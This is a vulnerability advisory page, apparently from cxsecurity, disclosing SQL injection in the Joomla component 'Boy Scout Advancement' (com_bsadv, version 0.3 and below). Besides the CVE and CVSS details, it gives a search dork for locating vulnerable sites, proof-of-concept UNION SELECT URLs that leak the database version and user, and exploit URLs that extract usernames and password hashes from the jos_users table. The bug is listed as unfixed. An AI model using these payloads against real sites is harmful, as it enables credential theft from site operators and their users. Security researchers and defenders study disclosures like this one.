Joomla Component Boy Scout Advancement <= v-0.3 Sql Injection

2009-07-02 / 2009-07-03
Credit: y3nh4ck3r
Risk: Medium
Local: No
Remote: Yes
CVE: CVE-2009-2290
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

------------------------------------------------------------------------ ------------------------------------ MULTIPLE SQL INJECTION VULNERABILITIES --Joomla Component 'Boy Scout Advancement' <= v-0.3 (com_bsadv)--> ------------------------------------------------------------------------ ------------------------------------ CMS INFORMATION: -->WEB: http://bsadv.sourceforge.net/ -->DOWNLOAD: http://bsadv.sourceforge.net/ -->DEMO: N/A -->CATEGORY: Joomla/Component -->DESCRIPTION: BSAdv is a Joomla 1.5 component for Boy Scout unit data and advancement data for Boy Scout Troops in the United States... -->RELEASED: 2009-02-01 CMS VULNERABILITY: -->TESTED ON: firefox 3 -->DORK --> inurl:"?option=com_bsadv" -->CATEGORY: SQL INJECTION -->AFFECT VERSION: <= 0.3 -->Discovered Bug date: 2009-05-25 -->Reported Bug date: 2009-05-25 -->Fixed bug date: Not fixed -->Info patch: Not fixed -->Author: YEnH4ckEr -->mail: y3nh4ck3r[at]gmail[dot]com -->WEB/BLOG: N/A -->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo. -->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!) ############################ /////////////////////////// SQL INJECTION VULNS (SQLi): /////////////////////////// ############################ <<<<---------++++++++++++++ Condition: magic quotes=OFF/ON +++++++++++++++++--------->>>> ------------------- PROOFS OF CONCEPT: ------------------- [++] GET var --> 'id' ~~~~~> http://[HOST]/[PATH]/index.php?option=com_bsadv&controller=peruse&task=e vent&id=-1+UNION+ALL+SELECT+1,version(),database(),user()%23 [++] GET var --> 'id' ~~~~~> http://[HOST]/[PATH]/index.php?option=com_bsadv&controller=peruse&task=a ccount&id=-1+UNION+ALL+SELECT+database(),version()%23&Itemid=57 [++[Return]++] ~~~~~> User, version or database. ----------- EXPLOITS: ----------- ~~~~~> http://[HOST]/[PATH]/index.php?option=com_bsadv&controller=peruse&task=e vent&id=-1+UNION+ALL+SELECT+1,concat(username,0x3A3A3A,password),3,4+FRO M+jos_users+WHERE+id=62%23 [++[Return]++] ~~~~~> Username:::password id=62 ~~~~~> http://[HOST]/[PATH]/index.php?option=com_bsadv&controller=peruse&task=a ccount&id=-1+UNION+ALL+SELECT+username,password+FROM+jos_users+WHERE+id= 62%23&Itemid=57 [++[Return]++] ~~~~~> Username and password id=62


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top